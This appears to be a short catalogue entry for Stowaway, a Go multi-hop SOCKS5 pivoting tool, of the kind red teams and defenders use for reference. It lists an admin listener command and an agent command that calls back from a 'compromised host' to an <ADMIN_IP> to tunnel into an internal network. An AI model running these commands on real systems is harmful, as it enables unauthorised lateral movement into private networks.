.. /Stowaway
Star

Access

Stowaway is a multi-hop proxy/pivoting tool written in Go. A single admin node on the operator’s host can chain multiple agent nodes together, relaying SOCKS5 traffic and TCP port forwards across the chain. Nodes can connect actively or listen passively, optionally through a SOCKS5/HTTP upstream proxy, and the transport between nodes can be plain TCP, HTTP or WebSocket.

Paths:

Resources:

Detections:

Access

  1. Starts the admin node on the operator's host, listening for an agent connection. The -s key encrypts node-to-node traffic and must match on every node in the chain.

    ./stowaway_admin -l 9999 -s <KEY>
    Use case
    Operator side of a multi-hop SOCKS5 pivot.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  2. Starts an agent node on a compromised host, connecting back to the admin node to join the proxy chain.

    ./stowaway_agent -c <ADMIN_IP>:9999 -s <KEY>
    Use case
    Pivoting into an internal network segment reachable from the compromised host.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS